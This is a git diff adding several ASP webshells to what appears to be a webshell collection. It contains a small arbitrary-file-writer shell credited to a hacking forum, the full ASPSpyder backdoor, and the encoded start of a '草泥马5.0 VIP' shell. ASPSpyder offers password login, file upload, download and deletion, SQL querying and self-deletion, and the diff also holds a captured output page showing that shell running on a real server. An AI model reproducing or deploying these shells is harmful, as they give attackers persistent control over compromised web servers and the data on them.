C:~J'ESJ'-r#'JEEBJEfKAxwksnrJ#v~1VC/kxElhEPDkY^+{v下载B@*fGh @!&C@*PJ@#@&I"?Pr@!CP4D0xB%C7ldmMrwD)o;^VsG.s`EJr'M+2^l1+`qwmOtL:z0bVn l:SJ'J~rwwJ*[rJE~EEANrYwrVJEbEPmsCk/xBmhEPObY^+'E编辑B@*nNbY@!zm@*~E@#@&I"jPr@!l,4.+6'ELC\Cd1DrwDls!VsoKD:cErJ'D2^l^`kYD8~rwJBJw-r#'ErJ~rEfVsbsnJr#EP~WU^^k^3{vDY;. PXndK3c#E~1VCk/{BlsB,OkDVn'E删除B@*9V@!JC@*,J@#@&]]?,J@!l~t.n6'vLm-lkm.raY)o;^VoWMhvJEr[M+w^l1n`qwCY4[hz6kV xm:+BEwJBJ'-E#'ErJSJr/WaXor^+JEbEP^Vmdk'vm:EPYbY^n'E复制B@*ZKwz@!Jl@*,E@#@&IIU~E@!mP4Dn0xvNl-lk^DbwOlwEVsoKDh`rEr[.w^lm`q2lDt':H0rsRxmh+BJ-rSE-'J*[EJESrJ\W7nsbVnEr#B~^^ld/{vm:v,YbYV'E移动v@*tW-+@!zC@*@!4D@*E@#@&dPgnaY@#@&,?nY~WkE80Ks+M/~x,0Rj;(sGV9nM/@#@&PwWD,2m^t,0qPbx~WkE46GVD/@#@&71hhlOtx alOtLEJL0q l:n@#@&P7q dDOzV^sk^+k~1hKlDtS 1WNSw1@#@&,Hn6D@#@&/nY~O6ks+{UWDtrUT@#@&jnDPo?}~{PHKY4kxT@#@&d+DPO0bVnx WY4rxT@#@&knOPD0bVn xUKY4k L@#@&?nO,sj6,'~1KO4kUT@#@&2x9PU;4@#@&@#@&,P/Ck+Pr]+mNIA!E)1l^V~InC9I3Mvb@#@&P~/m/+~EUtGh8obVnr)U+Y,b~/'g+APdAolzAZcjtKhFwrs+v?/dkGUvJoW^[+MnCO4J#blU+OPz$;'HKY4kxT@#@&~P;ld+,J9GSxsbs+r)fKAUsbVPo1Ch)jtKA2MDcb@#@&P~/m/nPr9VobVJ)U+D~b~Zx1h~J~s)z$Zcf+^orV`w1C:nb=?nY,)A;'HGDtkUL@#@&~P;Ck+~r29kYwk^nJ=?nY,b$/{1+S~S~s)z$/RANbYoksnvsHlsn#=?nO,bA/xgWOtbUT@#@&,P;l/Pr/WaXok^+ElU+Y,)A;'1A~S~s=b$Z /Kwzsbs+vsHCs+#ljY~b~/{1GDtbxo@#@&,~Zm/nPrHG-sk^nJ=?+D~)A;'g+APJ$w))A; HK\nobV+coglh+*lU+O,b~Z'gWD4k o@#@&,P/Ck+Pr9+^sW^[nDr)U+OP)$;'H+S~S~sl)~ZR9n^sGV9nM`ogls+#=?OPzA/'gWO4bxo@#@&P,Zlkn~J;WaXoWs[DE)UnY,b$/{1+A~dAo)z$;R/KwHsW^N.`w1C:#ljYPz$Z{1WD4rxT@#@&P~ZCdPEHK-+wWs[DJljY~b~/{1nSPdAs=b~/RtW-+wWs[D`wHls+#=jnY,b~Zx1GO4kUo@#@&P,ZCdPJHnSsGV9nMJlU+DPb~Z{H+SPJAw))$;R1AsKVN.csgls+b)jnDP)A;x1KY4r o@#@&~,ZC/~rSGTW!YJ=?d/bWUR;WUOxYk I:W7ncJS+( C [hbxE#=]+kwGUk+R]n9k.+1O,j]d@#@&PP;lknPrj2sbVnE=jwwrV`#@#@&~P;lk+~Jj^mx9Db-+wW.hr)?^C f.k7nwW.s@#@&PP,P,~Zm/nPr?^C fDb-+r)?1CUfMk7+~In5!+dYvEfMk-nr#@#@&~,P~P,/m/n,JUmsKV9nDr)jmwWs[DP"n;!+/DcEsKV9+.Jb@#@&P~Zmd+,J/G!D/nE=ZGEMd`b@#@&,PZm/~JU+.\D(U6WJ=j+M\+M(U0K`*P@#@&~~;ld+,Eb9:rU`/+.E=b[:bU`/nM`*@#@&,P;C/PEm4lhC1WNEP,@#@&,~/lk+,J/:[qUtnV^E);:[qUt+ssv#@#@&,~;ldPrjw^Wm[J=j2VKl[c*@#@&,~Zm/+,Ej;^DKWO3rOr)d;^.WKYVrD`#@#@&,P/lkn,J/M+mY+tN(E);DnlD+\[(PsgC:@#@&,~/lk+,J/Wh2mmOH98J=ZGhalmO\94~sgCs+@#@&P,Zlk+,Ef(HCxmon.r)f(\l lo.c#@#@&,P^ldn,Jj+Dok^+PnXYJljYok^n:+aD`*@#@&,P;C/P3Vk+~\mkxwGDs`#@#@&3x9PU+s+^O@#@&r0,)mDkGU@!@*JjnM\;J,O4+U,?4WhADMc#@#@&]IUJ@!&(WNH@*@!JtYss@*JVaN8AA==^#~@ +%> diff --git "a/asp/\346\232\227\347\273\204\346\212\200\346\234\257\350\256\272\345\235\233\344\270\223\347\224\250\345\260\217\351\251\254.asp" "b/asp/\346\232\227\347\273\204\346\212\200\346\234\257\350\256\272\345\235\233\344\270\223\347\224\250\345\260\217\351\251\254.asp" new file mode 100644 index 0000000..569dd97 --- /dev/null +++ "b/asp/\346\232\227\347\273\204\346\212\200\346\234\257\350\256\272\345\235\233\344\270\223\347\224\250\345\260\217\351\251\254.asp" @@ -0,0 +1,35 @@ +<% + +dim objFSO + dim fdata + dim objCountFile + on error resume next + Set objFSO = Server.CreateObject("Scripting.FileSystemObject") + if Trim(request("systempath"))<>"" then + fdata = request("sAvedata") + Set objCountFile=objFSO.CreateTextFile(request("systempath"),True) + objCountFile.Write fdata + if err =0 then + response.write "保存成功!" + else + response.write "保存失败!" + end if + err.clear + end if + objCountFile.Close + Set objCountFile=Nothing + Set objFSO = Nothing + Response.write "暗组技术论坛专用小马 By:New4" + Response.write "
    " + Response.write "保存文件的绝对路径(包括文件名:如D:\web\x.asp):" + Response.Write "" + Response.Write "
    " + Response.write "本文件绝对路径" + Response.write server.mappath(Request.ServerVariables("SCRIPT_NAME")) + Response.write "
    " + Response.write "输入马的内容:" + Response.write "" + Response.write "" + Response.write "
    " + +%> diff --git "a/asp/\347\234\237\346\255\243\350\277\207\345\256\211\345\205\250\347\213\227\347\232\204ASP\345\244\247\351\251\254.asp" "b/asp/\347\234\237\346\255\243\350\277\207\345\256\211\345\205\250\347\213\227\347\232\204ASP\345\244\247\351\251\254.asp" new file mode 100644 index 0000000..0bb37f1 --- /dev/null +++ "b/asp/\347\234\237\346\255\243\350\277\207\345\256\211\345\205\250\347\213\227\347\232\204ASP\345\244\247\351\251\254.asp" @@ -0,0 +1,937 @@ +<% +Function BufferContent(data) + Dim strContent(64) + Dim i + ClearString strContent + For i = 1 To LenB(data) + AddString strContent,Chr(AscB(MidB(data,i,1))) + Next + BufferContent = fnReadString(strContent) +End Function + +Sub ClearString(part) + Dim index + For index = 0 to 64 + part(index)="" + Next +End Sub + +Sub AddString(part,newString) + Dim tmp + Dim index + part(0) = part(0) & newString + If Len(part(0)) > 64 Then + index=0 + tmp="" + Do + tmp=part(index) & tmp + part(index) = "" + index = index + 1 + Loop until part(index) = "" + part(index) = tmp + End If +End Sub + +Function fnReadString(part) + Dim tmp + Dim index + tmp = "" + For index = 0 to 64 + If part(index) <> "" Then + tmp = part(index) & tmp + End If + Next + FnReadString = tmp +End Function + + +Class FileUploader + Public Files + Private mcolFormElem + Private Sub Class_Initialize() + Set Files = Server.CreateObject("Scripting.Dictionary") + Set mcolFormElem = Server.CreateObject("Scripting.Dictionary") + End Sub + + Private Sub Class_Terminate() + If IsObject(Files) Then + Files.RemoveAll() + Set Files = Nothing + End If + If IsObject(mcolFormElem) Then + mcolFormElem.RemoveAll() + Set mcolFormElem = Nothing + End If + End Sub + + Public Property Get Form(sIndex) + Form = "" + If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex)) + End Property + + Public Default Sub Upload() + Dim biData, sInputName + Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos + Dim nPosFile, nPosBound + biData = Request.BinaryRead(Request.TotalBytes) + nPosBegin = 1 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) + If (nPosEnd-nPosBegin) <= 0 Then Exit Sub + vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin) + nDataBoundPos = InstrB(1, biData, vDataBounds) + Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--")) + nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition")) + nPos = InstrB(nPos, biData, CByteString("name=")) + nPosBegin = nPos + 6 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) + sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename=")) + nPosBound = InstrB(nPosEnd, biData, vDataBounds) + If nPosFile <> 0 And nPosFile < nPosBound Then + Dim oUploadFile, sFileName + Set oUploadFile = New UploadedFile + nPosBegin = nPosFile + 10 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) + sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\")) + nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:")) + nPosBegin = nPos + 14 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) + oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + nPosBegin = nPosEnd+4 + nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 + oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin) + If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile + Else + nPos = InstrB(nPos, biData, CByteString(Chr(13))) + nPosBegin = nPos + 4 + nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 + If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + End If + nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds) + Loop + End Sub + + 'String to byte string conversion + Private Function CByteString(sString) + Dim nIndex + For nIndex = 1 to Len(sString) + CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1))) + Next + End Function + + 'Byte string to string conversion + Private Function CWideString(bsString) + Dim nIndex + CWideString ="" + For nIndex = 1 to LenB(bsString) + CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1))) + Next + End Function +End Class + + +Class UploadedFile + Public ContentType + Public FileName + Public FileData + Public Property Get FileSize() + FileSize = LenB(FileData) + End Property + + Public Sub SaveToDisk(sPath) + Dim oFS, oFile + Dim nIndex + If sPath = "" Or FileName = "" Then Exit Sub + If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\" + Set oFS = Server.CreateObject("Scripting.FileSystemObject") + If Not oFS.FolderExists(sPath) Then Exit Sub + Set oFile = oFS.CreateTextFile(sPath & FileName, True) + ' output mechanism modified for buffering + oFile.Write BufferContent(FileData) + oFile.Close + End Sub + + Public Sub SaveToDatabase(ByRef oField) + If LenB(FileData) = 0 Then Exit Sub + If IsObject(oField) Then + oField.AppendChunk FileData + End If + End Sub +End Class + +' Create the FileUploader +IF REQUEST.QueryString("upload")="@" THEN +Dim Uploader, File +Set Uploader = New FileUploader + +' This starts the upload process +Uploader.Upload() + +%> +ASPYDrvsInfo + + +


    +
    +
    File upload Information: +
    +<% + +' Check if any files were uploaded +If Uploader.Files.Count = 0 Then + Response.Write "File(s) not uploaded." +Else + ' Loop through the uploaded files + For Each File In Uploader.Files.Items + File.SaveToDisk Request.QueryString("txtpath") + Response.Write "" + Response.Write "" + Response.Write "" + Next +End If +%> +
     
    File Uploaded: " & File.FileName & "
    Size: " & Int(File.FileSize/1024)+1 & " kb
    Type: " & File.ContentType & "
     
    +

    ?txtpath=<%=Request.QueryString("txtpath")%>">7
    +<% +response.End() '---- XXX +END IF +'-------- +ON ERROR RESUME NEXT +Response.Buffer = True +password = "g" ' <---Your password here + +If request.querystring("logoff")="@" then + session("shagman")="" ' Logged off + session("dbcon")="" ' Database Connection + session("txtpath")="" ' any pathinfo +end if + + If (session("shagman")<>password) and Request.form("code")="" Then + %> +




    ADMINSTRATORS TOOLKIT


    + +
    +
    " > +
    + +
    +
    +ASPSpyder Apr2003
    +<%If request.querystring("logoff")="@" then%> +CLOSE THIS WINDOW +<%end if%> +
    + <% + Response.END + End If + If Request.form("code") = password or session("shagman") = password Then + session("shagman") = password + Else + Response.Write "

    ACCESS DENIED
    Copyright 2003 Vela iNC.

    " + Response.END + End If + +server.scriptTimeout=180 +set fso = Server.CreateObject("Scripting.FileSystemObject") +mapPath = Server.mappath(Request.Servervariables("SCRIPT_NAME")) +mapPathLen = len(mapPath) + +if session(myScriptName) = "" then + for x = mapPathLen to 0 step -1 + myScriptName = mid(mapPath,x) + if instr(1,myScriptName,"\")>0 then + myScriptName = mid(mapPath,x+1) + x=0 + session(myScriptName) = myScriptName + end if + next +Else + myScriptName = session(myScriptName) +end if + + +wwwRoot = left(mapPath, mapPathLen - len(myScriptName)) +Target = "D:\hshome\masterhr\masterhr.com\" ' ---Directory to which files will be DUMPED Too and From + + if len(Request.querystring("txtpath"))=3 then + pathname = left(Request.querystring("txtpath"),2) & "\" & Request.form("Fname") + else + pathname = Request.querystring("txtpath") & "\" & Request.form("Fname") + end if + + If Request.Form("txtpath") = "" Then + MyPath = Request.QueryString("txtpath") + Else + MyPath = Request.Form("txtpath") + End If + +' ---Path correction routine + If len(MyPath)=1 then MyPath=MyPath & ":\" + If len(MyPath)=2 then MyPath=MyPath & "\" + If MyPath = "" Then MyPath = wwwRoot + If not fso.FolderExists(MyPath) then + Response.Write "Non-existing path specified.
    Please use browser back button to continue !" + Response.end + end if + + set folder = fso.GetFolder(MyPath) + +if fso.GetFolder(Target) = false then + Response.Write "Please create your target directory for copying files as it does not exist. " & Target & "
    " +else + set fileCopy = fso.GetFolder(Target) +end if + + + If Not(folder.IsRootFolder) Then + If len(folder.ParentFolder)>3 then + showPath = folder.ParentFolder & "\" & folder.name + Else + showPath = folder.ParentFolder & folder.name + End If + Else + showPath = left(MyPath,2) + End If + +MyPath=showPath +showPath=MyPath & "\" +' ---Path correction routine-DONE + +set drv=fso.GetDrive(left(MyPath,2)) + +if Request.Form("cmd")="Download" then + if Request.Form("Fname")<>"" then + Response.Buffer = True + Response.Clear + strFileName = Request.QueryString("txtpath") & "\" & Request.Form("Fname") + Set Sys = Server.CreateObject( "Scripting.FileSystemObject" ) + Set Bin = Sys.OpenTextFile( strFileName, 1, False ) + Call Response.AddHeader( "Content-Disposition", "attachment; filename=" & Request.Form("Fname") ) + Response.ContentType = "application/octet-stream" + While Not Bin.AtEndOfStream + Response.BinaryWrite( ChrB( Asc( Bin.Read( 1 ) ) ) ) + Wend + Bin.Close : Set Bin = Nothing + Set Sys = Nothing + Else + err.number=500 + err.description="Nothing selected for download..." + End if +End if +%> + + +<% +'QUERY ANALYSER -- START +if request.QueryString("qa")="@" then +'------------- +sub getTable(mySQL) + if mySQL="" then + exit sub + end if + on error resume next + Response.Buffer = True + Dim myDBConnection, rs, myHtml,myConnectionString, myFields,myTitle,myFlag + myConnectionString=session("dbCon") + Set myDBConnection = Server.CreateObject("ADODB.Connection") + myDBConnection.Open myConnectionString + myFlag = False + myFlag = errChk() + set rs = Server.CreateObject("ADODB.Recordset") + rs.cursorlocation = 3 + rs.open mySQL, myDBConnection + myFlag = errChk() + + if RS.properties("Asynchronous Rowset Processing") = 16 then + For i = 0 To rs.Fields.Count - 1 + myFields = myFields & "
  • " & rs.Fields(i).Name & "         " +if mPage=1 Then Response.Write("") else Response.Write("") +Response.Write "" +if mPage = rs.PageCount Then Response.Write("> "" DISABLED>") else Response.Write("> "">") +Response.Write "     Displaying records at a time." + response.Write "
    " & myFields + + For x = 1 to rs.PageSize + If Not rs.EOF Then + response.Write "" + For i = 0 to rs.Fields.Count - 1 + response.Write "" + Next + response.Write "" + response.Flush() + rs.MoveNext + Else + x=rs.PageSize + End If + Next + response.Write "
    " & server.HTMLEncode(rs(i)) & "
    " + myFlag = errChk() + + else + if not myFlag then + myTitle = "iQuery results :     (The command(s) completed successfully.)
    " + response.Write myTitle + end if + end if + set myDBConnection = nothing + set rs2 = nothing + set rs = nothing + +End sub + +sub getXML(mySQL) + if mySQL="" then + exit sub + end if + on error resume next + Response.Buffer = True + Dim myDBConnection, rs, myHtml,myConnectionString, myFields,myTitle,myFlag + myConnectionString=session("dbCon") + Set myDBConnection = Server.CreateObject("ADODB.Connection") + myDBConnection.Open myConnectionString + myFlag = False + myFlag = errChk() + set rs = Server.CreateObject("ADODB.Recordset") + rs.cursorlocation = 3 + rs.open mySQL, myDBConnection + myFlag = errChk() + if RS.properties("Asynchronous Rowset Processing") = 16 then + Response.Write "i Copy paste this code and save as '.xml '" + Response.Write "" + myFlag = errChk() + + else + if not myFlag then + myTitle = "iQuery results :     (The command(s) completed successfully.)
    " + response.Write myTitle + end if + end if +End sub + +Function errChk() + if err.Number <> 0 and err.Number <> 13 then + dim myText + myText = "x " & err.Description & "
    " + response.Write myText + err.Number = 0 + errChk = True + end if +end Function + + Dim myQuery,mPage,mNR + myQuery = request.Form("txtSQL") + if request.form("txtCon") <> "" then session("dbcon") = request.form("txtCon") + if request.QueryString("txtpath") then session("txtpath")=request.QueryString("txtpath") + mPage=cint(request.Form("mPage")) + if mPage<1 then mPage=1 + mNR=cint(request.Form("txtNoRecords")) + if mNR<1 then mNR=30 +%> +ASPyQAnalyser + + + +
    ?qa=@" method=Post> + + +
    @ Paste + your connection string here : + "> +
    +
    + >GenerateXML +
    XXXXXX +
    ASP!Spyder Apr2003
    by ~sir_shagalot
    +
    +
    <%If Request.Form("chkXML") = "on" Then getXML(myQuery) Else getTable(myQuery) %>
    +

    Copyright 2003 Vela iNC.
    Cheers to hAshish for all the help!


    + + +<% + set myDBConnection = nothing + set rs2 = nothing + set rs = nothing +'------------- +response.End() +end if +'QUERY ANALYSER -- STOP +%> +<%=MyPath%> + + + +<% + Response.Flush +'Code Optimisation START +select case request.form("cmd") + case "" + If request.form("dirStuff")<>"" then + Response.write "You need to click [Create] or [Delete] for folder operations to be" + Else + Response.Write "آ" + End If + case " Copy " + ' ---Copy From Folder routine Start + If Request.Form("Fname")="" then + Response.Write "Copying: " & Request.QueryString("txtpath") & "\???
    " + err.number=424 + Else + Response.Write "Copying: " & Request.QueryString("txtpath") & "\" & Request.Form("Fname") & "
    " + fso.CopyFile Request.QueryString("txtpath") & "\" & Request.Form("Fname"),Target & Request.Form("Fname") + Response.Flush + End If + ' ---Copy From Folder routine Stop + case " Copy " + ' ---Copy Too Folder routine Start + If Request.Form("ToCopy")<>"" and Request.Form("ToCopy") <> "------------------------------" Then + Response.Write "Copying: " & Request.Form("txtpath") & "\" & Request.Form("ToCopy") & "
    " + Response.Flush + fso.CopyFile Target & Request.Form("ToCopy"), Request.Form("txtpath") & "\" & Request.Form("ToCopy") + Else + Response.Write "Copying: " & Request.Form("txtpath") & "\???
    " + err.number=424 + End If + ' ---Copy Too Folder routine Stop + case "Delete" 'two of this + if request.form("todelete")<>"" then + ' ---File Delete start + If (Request.Form("ToDelete")) = myScriptName then'(Right(Request.Servervariables("SCRIPT_NAME"),len(Request.Servervariables("SCRIPT_NAME"))-1)) Then + Response.Write "



    SELFDESTRUCT INITIATED...
    " + Response.Flush + fso.DeleteFile Request.Form("txtpath") & "\" & Request.Form("ToDelete") + %>+++DONE+++


    + CLOSE THIS WINDOW + <%Response.End + End If + If Request.Form("ToDelete") <> "" and Request.Form("ToDelete") <> "------------------------------" Then + Response.Write "Deleting: " & Request.Form("txtpath") & "\" & Request.Form("ToDelete") & "
    " + Response.Flush + fso.DeleteFile Request.Form("txtpath") & "\" & Request.Form("ToDelete") + Else + Response.Write "Deleting: " & Request.Form("txtpath") & "\???
    " + err.number=424 + End If + ' ---File Delete stop + Else If request.form("dirStuff")<>"" then + Response.Write "Deleting folder...
    " + fso.DeleteFolder MyPath & "\" & request.form("DirName") + end if + End If + + case "Edit/Create" +%> +

    +
    + NOTE: The following edit box maynot display special characters from files. Therefore the contents displayed maynot be considered correct or accurate. +
    Path=> <%=pathname%>

    +<% + ' fetch file information + Set f = fso.GetFile(pathname) +%> +file Type: <%=f.Type%>
    +file Size: <%=FormatNumber(f.size,0)%> bytes
    +file Created: <%=FormatDateTime(f.datecreated,1)%> <%=FormatDateTime(f.datecreated,3)%>
    +last Modified: <%=FormatDateTime(f.datelastmodified,1)%> <%=FormatDateTime(f.datelastmodified,3)%>
    +last Accessed: <%=FormatDateTime(f.datelastaccessed,1)%> <%=FormatDateTime(f.datelastaccessed,3)%>
    +file Attributes: <%=f.attributes%>
    +<% + Set f = Nothing + response.write "
    " + 'read the file + Set f = fso.OpenTextFile(pathname) + If NOT f.AtEndOfStream Then fstr = f.readall + f.Close + Set f = Nothing + Set fso = Nothing + response.write "
    " & VBCRLF + response.write "DOCUMENT CONTENTS
    " & VBCRLF + response.write "" & VBCRLF + response.write "
    " & VBCRLF +%> +
    LOCATION + + +

    +<% +response.end + + case "Create" + Response.Write "Creating folder...
    " + fso.CreateFolder MyPath & "\" & request.form("DirName") + + case "Save As" + Response.Write "Saving file...
    " + Set f = fso.CreateTextFile(Request.Form("pathname")) + f.write Request.Form("FILEDATA") + f.close +end select +'Code Optimisation STOP +' ---DRIVES start here + If request.querystring("getDRVs")="@" then +%> +


    +
    Available Drive Information: +
    + +<%For Each thingy in fso.Drives%> +
    DriveTypePathShareNameSize[MB]ReadyToUseVolumeLabel
    +<%=thingy.DriveLetter%> <%=thingy.DriveType%> <%=thingy.Path%> <%=thingy.ShareName%> <%=((thingy.TotalSize)/1024000)%> <%=thingy.IsReady%> <%=thingy.VolumeName%> +<%Next%> +
    +

    ?txtpath=<%=MyPath%>">7
    +<% + Response.end + end if +' ---DRIVES stop here +%> + + + +<% +'---Report errors +select case err.number + case "0" + response.write "i Successfull.." + + case "58" + response.write "Folder already exists OR no folder name specified..." + + case "70" + response.write "Permission Denied, folder/file is readonly or contains such files..." + + case "76" + response.write "Path not found..." + + case "424" + response.write "Missing, Insufficient data OR file is readonly..." + + case else + response.write "" & err.description & "" + +end select +'---Report errors end +%> +
    ASP!Spyder Apr2003
    by ~sir_shagalot
    + +
    +
    " name="myform" > + +
    + PATH INFO : Volume Label: <%=drv.VolumeName%>
    Virtual: http://<%=Request.ServerVariables("SERVER_NAME")%><%=Request.Servervariables("SCRIPT_NAME")%>
    1 <%=showPath%> +
    +
    +
    + + +
    ?getDRVs=@&txtpath=<%=MyPath%>">Retrieve Available Network Drives
    ?qa=@&txtpath=<%=MyPath%>">SQL Query Analyser
    ?logoff=@&...thankyou.for.using.ASpyder....~sir_shagalot!..[shagzzz.cjb.net]">+++LOGOFF+++
    +
    +

    +
    " >Delete file from current directory:
    +
    " + Response.Write "
    Copy file too current directory:
    " +Response.Flush +' ---View Tree Begins Here + Response.Write "
    Folders:

    " +fo=0 + Response.Write "0 ..
    " + +For each fold in folder.SubFolders '-->FOLDERz +fo=fo+1 + Response.Write "0 " & fold.name & "
    " +Next +%> +
    ?txtpath=<%=MyPath%>"> + +
    +Directory:

    + +
    +<% +Response.Write "
    Files:

    " +Response.Flush +%> +
    ?txtpath=<%=MyPath%>"> +<% + Response.write "
    " + Response.write "
    " +%> + +<% + Response.Write "
    Listed: " & fo & "Listed: " & fi & "

    " +' ---View Tree Ends Here +' ---Upload Routine starts here +%> +

    ?upload=@&txtpath=<%=MyPath%>"> + + + + +
    2 SELECT FILES TO UPLOAD:
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + +    +
    +
    + + + + +
    NOTE FOR UPLOAD - + YOU MUST HAVE VBSCRIPT v5.0 INSTALLED ON YOUR WEB SERVER  FOR THIS LIBRARY TO + FUNCTION CORRECTLY. YOU CAN OBTAIN IT FREE FROM MICROSOFT WHEN YOU INSTALL INTERNET + EXPLORER 5.0 OR LATER. WHICH IS, MOST LIKELY, ALREADY INSTALLED.
    +
    +<% +' ---Upload Routine stops here +%> + +

    Copyright 2003 Vela iNC.
    [ System: <%=now%> ]


    + + + + + + + +F:\freehost\zxyzch10a\web + + + + + + + +Path not found... +
    ASP!Spyder Apr2003
    by ~sir_shagalot
    + +
    +
    + +
    + PATH INFO : Volume Label:
    Virtual: http://www.634629883.com/keio.asp
    1 F:\freehost\zxyzch10a\web\ +
    +
    +
    + + +
    Retrieve Available Network Drives
    SQL Query Analyser
    +++LOGOFF+++
    +
    +

    +
    Delete file from current directory:
    +
    Copy file too current directory:
    Folders:

    0 ..
    0 about
    0 admin
    0 apply
    0 config
    0 content
    0 css
    0 custom
    0 data
    0 flash
    0 gbook
    0 images
    0 inc
    0 js
    0 list
    0 member
    0 plug
    0 productbuy
    0 rss
    0 templates
    0 upload
    +
    + +
    +Directory:

    + +
    +
    Files:

    +
    +

    + +
    Listed: 20Listed: 10

    +

    + + + + +
    2 SELECT FILES TO UPLOAD:
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + +    +
    +
    + + + + +
    NOTE FOR UPLOAD - + YOU MUST HAVE VBSCRIPT v5.0 INSTALLED ON YOUR WEB SERVER  FOR THIS LIBRARY TO + FUNCTION CORRECTLY. YOU CAN OBTAIN IT FREE FROM MICROSOFT WHEN YOU INSTALL INTERNET + EXPLORER 5.0 OR LATER. WHICH IS, MOST LIKELY, ALREADY INSTALLED.
    +
    + + +

    Copyright 2003 Vela iNC.
    [ System: 2012-10-20 17:07:15 ]


    + + + diff --git "a/asp/\350\215\211\346\263\245\351\251\2545.0 VIP\344\270\223\347\224\250.asp" "b/asp/\350\215\211\346\263\245\351\251\2545.0 VIP\344\270\223\347\224\250.asp" new file mode 100644 index 0000000..019dbae --- /dev/null +++ "b/asp/\350\215\211\346\263\245\351\251\2545.0 VIP\344\270\223\347\224\250.asp" @@ -0,0 +1,26 @@ + +<%@ LANGUAGE = VBScript.encode%><% + + +Server.ScriptTimeout=999999999 +UserPass ="x"' 密码 +clientPassword ="a"' 生成后门一句话密码 +mNametitle ="草泥马5.0 VIP专用Webshell"' +Copyright ="黑客专用"' 版权 +bs=False +ShowFileIco=False +IcoPath="" +htp="http://www.baidu.com/"' 功能地址 +durl="" +Response.Buffer =true +On Error Resume Next +strBAD="" +Const DEfd="" +#@~^Nm4BAA==d!4~UtKh2MDvb@#@&P~q6P3.MPK4nx@#@&Lr@!8D@*@!mP4DnW{B%l7C/1Dr2D)trdDW.Xc8mmVv#E@*@!(D@*~J,[~2MD 9/mMrwDkW ~'Pr@!Jl@*@!8.@*J@#@&A.DcZsnmD)]nkwGxkncss!/4@#@&,PAUN,qW@#@&+U[,/E(@#@&UE4,%c/DD*@#@&DndaWU/ hMkOnv/Y.b@#@&3x9~UE8@#@&wEx1YbGx,InnmY4cU#@#@&~P"+nmO4'"+aVCmncU~E-rSJ'-Eb@#@&2U[,s;x1ObWU@#@&wEx1YbGx,I]+hlO4v?#@#@&P,IIKCY4'"+2VC^`j~rw-r~Ewr#@#@&3 N~s!U1YrKx@#@&j"S{]+$En/DRjnM\+M#lMkl(sn/vJ`IJJb@#@&r6r}xI;;nkYRjnM\nDjCMkC(V/`rnzPC|K]bg?J):2frb@#@&?+M-nD&n{In;;nkY ?.\D#CMkl8s/cJd6;bJ|bGfIr#@#@&b1YrW ']n$E+kO`rbmDrGxr#@#@&]WGOhlOt{j+M\n.cHl2KmY4`r r#@#@&qIKWDx?D-+MR\CanlD4`rzJ*@#@&sKV9+.nCO4']+$;+kYcEwWV[nMnCY4E*@#@&U+M\+Mj{]+5En?:Rj3".+M-l"ql(sn/vJ4YOwm4K/OJ*'EMV@#@&!'In5!+dYcjD-DjlDbl(s+k`EtDY2m4W/DE#@#@&/.-+Mw{jd+.Km/d@#@&o1m:nx"+;;nkYcJwHm:nr#@#@&s!x1OkKx~?4kjC sE c?4k?mU64N/DDb@#@&j4kjl 64N/O.,'P]naVCmcUtrUl r4N/D.~,J╁E~,JEEr#@#@&oWMP?4rjl q,'~F~PKPJ+ c?4kjC r4%dDDb@#@&~&0~tk9`?4kUCx}4%/DDS~UtkUCx&~P8b~@!@*Pr╋J~K4n @#@&?4r?mxHnS?Y.~{P\k9cUtrUl r4N/D.~,?4kUlU(BPF*~_,?tbjCxg+S?OD@#@&,2s/@#@&Utrjmx1nAUY.P{~74/MS6P_,?4r?mxH+S?O.@#@&PAUN,q0@#@&H+XY@#@&jtrjmxoE ~',?4rUlxHnS?OD@#@&Ax[,s!xmDkKU@#@&m[6{J@!OM@*@!D[PbN'9~Ak9Y4'1*~G HGEknr7+.xrJY4rkRdYHsR8mm0oDKE [ZKVGD{B:Ov,+1BrJPKU\W!/r;YxErY4kk /DXsnc4l^VTDGE [;WsKD{Ba8 8+FyBEJ@*Jl^XN'r@!0KxY,WCm'EhrxL[bxL/E@*%@!zWG Y@*El0xJ@!&m@*@!JY9@*@!JYM@*J@#@&d+DPWdK'/.\DR;.nlD+}4%+^OvJjmMrwDkULcsksnUXdYh}4%mDJ#@#@&knY,0dWo'dnM\+M ZM+lDn64N+1YcJj^Mk2YbUocsrs?XdO:64Nn1YE*@#@&/YMF{EJLIn;!+dOc?+M-+M.lMrC4^+k`E?3]j2]{gC:Jbl~lmViMVxJ@!8M@*@!(D@*@!mxDnD@*@!CP4DnW{BLm-lkmDb2O)4kkYGDz (l^3vbB@*返回@!&C@*@!z^n YnD@*E@#@&%r@!4Y:^@*@!h+Dl~tDY2R;Eb-'rJZKUO+ Y KzwnErP^W O+ 